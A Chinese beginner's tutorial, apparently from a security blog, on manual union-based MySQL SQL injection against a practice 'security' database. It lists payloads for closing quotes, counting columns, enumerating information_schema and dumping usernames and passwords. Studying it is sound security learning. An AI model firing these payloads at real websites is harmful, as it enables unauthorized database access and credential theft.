新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步驟以及一些技巧的記錄,當出現學習手工注入的時候,網上的文章參差不齊,導致很長一段時間對手工注入的理解一直處於一知半解的狀態,特此記錄本文,讓小白們少走些彎路。本文只針對手工注入小白,大牛繞過輕噴。
步驟
註釋或者閉合語句
首先看下一個基本的SQL語句查詢原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
下面的步驟預設都是採用這種基本的SQL語句的,其他的注入方法換湯不換藥,這裡只是想整理下注入的步驟與關鍵性的語句。
引號閉合語句
id =1 ' and '1' ='1
帶入進原始碼中的SQL語句就是:
SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
註釋後面語句
常用的註釋payload
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替換,url 提交過程中 Url 編碼後的#為%23
帶入進原始碼中的SQL語句就是:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
這樣可以看出直接把後面的語句都給註釋掉了,一般實戰用註釋比較多。
and 驗證
當然這裡 and 驗證和 or 驗證都可以,二者區別不大:頁面返回正常
?id=1' and 1=1 --+
?id=1' or 1=2 --+
頁面返回異常
?id=1' and 1=2 --+
?id=1' or 1=1 --+
如果發現一開始頁面先是正常然後是異常的話,說明頁面啊存在注入。當然這裡是最基本的判斷方法,到後面盲注的時候是用延時函式來觀察頁面的返回時間的。
查詢欄位數目
查詢欄位數目主要利用MySQL裡面的 order by 來判斷欄位數目,order by一般採用數學中的對半查詢來判斷具體的欄位數目,這樣效率會很高,下面假設用 order by 來判斷一個未知欄位的注入。
?id=1’ order by 1 —+ 此時頁面正常,繼續換更大的數字測試?id=1’ order by 10 —+ 此時頁面返回錯誤,更換小的數字測試?id=1’ order by 5 —+ 此時頁面依然報錯,繼續縮小數值測試?id=1’ order by 3 —+ 此時頁面返回正常,更換大的數字測試?id=1’ order by 4 —+ 此時頁面返回錯誤,3正常,4錯誤,說明欄位數目就是 3
通過數學的對半查詢,確定欄位數目。
聯合查詢
UNION SELECT
聯合查詢,手工注入經典語句,作用是在後面通過UNION
把我們的惡意注入語句接上去,帶入資料庫進行查詢。因為欄位數目是:3
,那麼正規的語句如下:
?id=1' UNION SELECT 1,2,3 --+
這裡頁面是不會報錯的,此時我們帶入資料庫的語句為:
SELECT 1,2,3 這段語句沒有任何意義,所以頁面按返回正常。
但是為了資訊收集,我們得知道當前這個頁面裡面的值,呼叫的具體是資料庫中的哪個欄位才可以,可以故意構造一個錯誤的語句,來爆出錯誤的欄位:
id=-1’ UNION SELECT 1,2,3 —+ 通過id=-1 一個負數不存在的id值來觸發報錯id=1’ and 1=2 UNION SELECT 1,2,3 —+ 通過and 1=2 語句來觸發報錯id=1’ or 1=1 UNION SELECT 1,2,3 —+ 通過or 1=1 語句來觸發報錯
可以看出爆出了具體的欄位號了,這裡爆出了2
和3
進MySQL資料庫看下這個表的欄位結構:
資料庫表的結構完美驗證了本次爆錯出先的數字2
和3
,這裡的數字代表欄位,恰巧對應的欄位值是:username
和password
。
收集資訊
在爆出的欄位值裡面可以替換為我們的惡意語句,前期主要是收集資訊,包括判斷當前資料庫是否是root使用者,MySQL的版本等,一般收集這些資訊常用一些MySQL自帶的函式去收集資訊:MySQL常用的系統函式
version() #MySQL版本
user() #資料庫使用者名稱
database() #資料庫名
@@datadir #資料庫路徑
@@version_compile_os #作業系統版本
查詢當前資料庫名
id=1' and 1=2 UNION SELECT 1,database(),3 --+
查詢MySQL版本
id=1' and 1=2 UNION SELECT 1,2,version() --+
查詢資料庫使用者和路徑
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
查詢資料庫
查詢資料庫,一般來說我們注入的時候要查的就是當前的資料庫,但有時候root許可權就NB了還可以看到網站資料庫之外的資料庫內容。查詢當前資料庫
id=1' and 1=2 UNION SELECT 1,2,database() --+
拿到當前的資料庫名稱為:security
查詢所有資料庫有時候忍不住想看下其他的資料庫的內容,可以用這個語句查詢所有的資料庫:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
這裡用到了group_concat
函式,由於本篇文章的定位是 手工注入的步驟 這裡不在這裡進行細化的講解此類函式的用法。瞭解相關函式的話參考我的另一篇文章:MySQL 手工注入之常見字串函式
查詢表名
database 查詢資料庫
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
單引號-資料庫
這裡的database()
函式進行了資料庫查詢,因為我們已經查到了當前的資料庫為security
,所有這裡還可以醬紫寫,用單引號括把資料庫的名稱括起來'security'
:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
hex編碼資料庫
如果嫌單引號括起來麻煩的話,那麼巧了!這裡還有一個更麻煩的方法,就是將資料庫名進行hex
編碼處理。使用火狐自帶的HackBar
外掛可以快速的進行hex
編碼:
hex
編碼後在前面加上0x
表明這裡是16進位制編碼。
目前主流的集中方法大致就是這樣,還有一些先hex然後unhex group_concat
的寫法,據說可以繞waf類的,這裡不是很常用就不再贅述了。 同理這些方法放到查詢資料庫的列名中也是可以使用的,要學會活學活用。
查詢列名
目前收集到的資訊為:
資料庫名稱: securuty資料庫表名: emails,referers,uagents,users
做為一名黑客一定要有敏銳的嗅覺(手動dog),這幾個表中 一般我們都會去 繼續猜解users
表。下面用和查詢資料庫類似的方法去查詢列名,關於原理的話 就是 MySQL
下有一個information_schema
裡面會存所有資料庫的一些相關資訊:
既然都說到這裡了,這裡就順便列舉一下MySQL手工注入中,比較關鍵的information_schema
裡的資訊:
記錄關於資料庫的資訊
information_schema 資料庫下的 schemata
表中的schema_name
記錄的是各個資料庫
的名稱:
不僅這裡記錄了在 tables
資料庫下的table_schema
表也記錄了各個資料庫的名稱:
記錄關於資料表的資訊
information_schema 資料庫下的 tables
表中的table_name
記錄的是各個資料表
的名稱:
這裡是華麗的分割線,吃驚,一眨眼說不拓展的有忍不住扯了這麼多,下面不多說直接來查詢users表下的列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查詢欄位值
由於在查詢列名那裡囉嗦的有點多,核心原理已經寫在上面了,這裡就簡單的寫出payload,:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
知道了資料庫、表名、各個欄位名可以直接進行查詢了,不需藉助information_schanem
資料庫了。
簡短的整理
本來是打算前面步驟中規中矩的寫的,但還是忍不住寫多了。於是又開出一個標題進行簡短的整理:
order by —+ 判斷欄位數目 union select —+ 聯合查詢收集資訊 id=1’ and 1=2 UNION SELECT 1,2,database() —+ 查詢當前資料庫 id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata —+查詢所有資料庫 id=1’ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() —+ 查詢表名 id=1’ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ —+ 查詢列名 id=1’ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users —+ 查詢欄位值